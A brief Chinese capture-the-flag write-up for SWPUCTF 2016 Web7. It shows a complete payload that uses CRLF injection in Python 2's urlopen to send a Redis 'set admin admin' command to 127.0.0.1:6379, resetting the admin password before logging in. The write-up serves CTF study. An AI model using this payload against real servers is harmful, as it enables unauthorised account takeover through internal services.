# [SWPUCTF_2016]Web7
进入就是这个,随便 aaa
提示是 python2 的 urlopen 函数,就是 crlf 了,可以用 set admin admin 来设置 admin 的密码,
payload:(%0d%0a 就是回车键(回车换行))通过 urllib 注入 redis。修改 admin 密码
submit:http://127.0.0.1%0d%0a%0d%0aset%20admin%20admin%0d%0aHost:%20127.0.0.1:6379
login:admin
参考链接:https://guokeya.github.io/post/swpuctf-2016web7urllib-tou-zhu-ru-ssrf/